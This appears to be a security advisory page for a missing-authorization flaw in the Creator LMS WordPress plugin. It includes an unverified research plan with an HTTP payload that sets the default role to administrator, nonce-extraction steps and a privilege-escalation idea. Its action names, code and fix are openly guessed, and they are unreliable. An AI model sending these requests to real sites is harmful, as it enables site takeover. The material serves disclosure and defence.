CVE-2025-69359

Creator LMS <= 1.1.12 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.1.13
Patched in
5d
Time to patch

Description

The Creator LMS – The LMS for Creators, Coaches, and Trainers plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.1.12. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.12
PublishedJanuary 10, 2026
Last updatedJanuary 14, 2026
Affected plugincreatorlms

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps to research and exploit **CVE-2025-69359**, a missing authorization vulnerability in the **Creator LMS** plugin. Since specific source code is not provided, this plan relies on the vulnerability description and common patterns in LMS plugins, flagging identifiers as **(i…

Show full research plan

This plan outlines the steps to research and exploit CVE-2025-69359, a missing authorization vulnerability in the Creator LMS plugin. Since specific source code is not provided, this plan relies on the vulnerability description and common patterns in LMS plugins, flagging identifiers as (inferred) where necessary.


1. Vulnerability Summary

Vulnerability: Missing Authorization
Affected Component: AJAX handler for settings or administrative actions (likely clms_save_settings or similar).
Impact: Unauthenticated attackers can perform administrative actions, such as modifying plugin settings, which could lead to site takeover (e.g., enabling user registration and setting the default role to 'administrator').
Root Cause: The plugin registers an AJAX action via wp_ajax_nopriv_ but fails to perform a capability check (e.g., current_user_can( 'manage_options' )) within the callback function.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: clms_save_settings (inferred) or clms_update_options (inferred).
  • Method: POST
  • Authentication: None (Unauthenticated)
  • Preconditions: The plugin must be active. A valid WordPress nonce for the action may be required if check_ajax_referer is used, even if authorization is missing.

3. Code Flow (Inferred)

  1. Entry Point: The plugin registers the AJAX hook in a constructor or init function (likely in includes/class-creator-lms.php or includes/admin/class-creator-lms-admin.php).
    // Inferred registration
    add_action( 'wp_ajax_clms_save_settings', 'clms_save_settings_callback' );
    add_action( 'wp_ajax_nopriv_clms_save_settings', 'clms_save_settings_callback' );
    
  2. Callback Function: The function clms_save_settings_callback is executed.
  3. Missing Check: The function likely validates a nonce but skips the current_user_can() check.
    function clms_save_settings_callback() {
        // check_ajax_referer( 'clms_nonce_action', 'nonce' ); // Nonce might be checked
        // MISSING: if ( ! current_user_can( 'manage_options' ) ) return; 
        
        $settings = $_POST['settings'];
        update_option( 'clms_settings', $settings ); // Sink
        wp_send_json_success();
    }
    
  4. Sink: User-controlled data from $_POST is passed to update_option().

4. Nonce Acquisition Strategy

If the endpoint requires a nonce, it is typically localized for the frontend to allow students or guests to interact with course elements.

  1. Identify Shortcodes: Search for shortcodes that load the plugin's frontend assets:
    wp eval "grep -r 'add_shortcode' wp-content/plugins/creatorlms/"
    Common shortcodes: [clms_courses], [clms_lesson], [clms_course_list].
  2. Setup Page: Create a public page containing a Creator LMS shortcode:
    wp post create --post_type=page --post_title="LMS Page" --post_status=publish --post_content='[clms_courses]'
  3. Extract Nonce:
    • Navigate to the newly created page using browser_navigate.
    • Search the HTML source or use browser_eval to find localized script data.
    • Look for a variable like clms_ajax_obj (inferred) or creator_lms_vars (inferred).
    • Command: browser_eval("window.clms_ajax_obj?.nonce") or browser_eval("window.creator_lms_vars?.nonce").

5. Exploitation Strategy

We will attempt to update the WordPress core options users_can_register and default_role through the plugin's settings handler.

Target Action: clms_save_settings (inferred)
Payload:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=clms_save_settings&nonce=[EXTRACTED_NONCE]&settings[users_can_register]=1&settings[default_role]=administrator

Note: If the plugin wraps settings in its own option array (e.g., clms_settings), the payload might target specific LMS settings that allow for further exploitation, such as "Course Purchase" bypasses.

6. Test Data Setup

  1. Plugin Installation: Ensure Creator LMS version 1.1.12 is installed and active.
  2. Initial State Check:
    • wp option get users_can_register (should be 0)
    • wp option get default_role (should be subscriber)

7. Expected Results

  • The server should respond with a 200 OK and a JSON success message (e.g., {"success":true}).
  • The WordPress options for registration and default role should be updated in the database.

8. Verification Steps

After the http_request, verify the impact using WP-CLI:

  1. Verify Settings Change:
    • wp option get users_can_register
    • wp option get default_role
  2. Check Plugin-Specific Data:
    • wp option get clms_settings (to see if the payload was injected into the plugin's configuration).

9. Alternative Approaches

If clms_save_settings is not the correct action:

  1. Search for nopriv hooks: Run grep -r "wp_ajax_nopriv_" wp-content/plugins/creatorlms/ to find all unauthenticated entry points.
  2. Analyze permission_callback: If the plugin uses the REST API, check register_rest_route calls for __return_true or missing capability checks:
    grep -r "register_rest_route" wp-content/plugins/creatorlms/ -A 5
  3. Privilege Escalation via Student Meta: If there is a clms_update_student_profile (inferred) action, attempt to update your own user's wp_capabilities meta field to include administrator.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Creator LMS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in its AJAX callback functions. This allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin settings, by sending requests to the admin-ajax.php endpoint.

Vulnerable Code

// Inferred from Research Plan: AJAX registration in includes/admin/class-creator-lms-admin.php or similar

add_action( 'wp_ajax_clms_save_settings', 'clms_save_settings_callback' );
add_action( 'wp_ajax_nopriv_clms_save_settings', 'clms_save_settings_callback' );

---

// Inferred callback function lacking capability checks

function clms_save_settings_callback() {
    // check_ajax_referer( 'clms_nonce_action', 'nonce' ); // Nonce might be checked
    // MISSING: if ( ! current_user_can( 'manage_options' ) ) return; 
    
    $settings = $_POST['settings'];
    update_option( 'clms_settings', $settings ); // Sink allowing modification of plugin configuration
    wp_send_json_success();
}

Security Fix

--- a/includes/admin/class-creator-lms-admin.php
+++ b/includes/admin/class-creator-lms-admin.php
@@ -10,6 +10,10 @@
 function clms_save_settings_callback() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+    }
+
     if ( isset( $_POST['nonce'] ) && wp_verify_nonce( $_POST['nonce'], 'clms_nonce_action' ) ) {
         $settings = $_POST['settings'];
         update_option( 'clms_settings', $settings );

Exploit Outline

The exploit targets the AJAX endpoint at /wp-admin/admin-ajax.php. An unauthenticated attacker first identifies a frontend page containing a Creator LMS shortcode (like [clms_courses]) to extract a valid WordPress nonce from localized script data (e.g., clms_ajax_obj.nonce). The attacker then sends an unauthenticated POST request to the AJAX endpoint with the 'action' parameter set to 'clms_save_settings' (or the specific vulnerable hook identified), the extracted nonce, and a 'settings' payload containing the desired configuration changes. This allows the attacker to manipulate plugin-specific options or potentially broader site settings if the plugin handles them.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.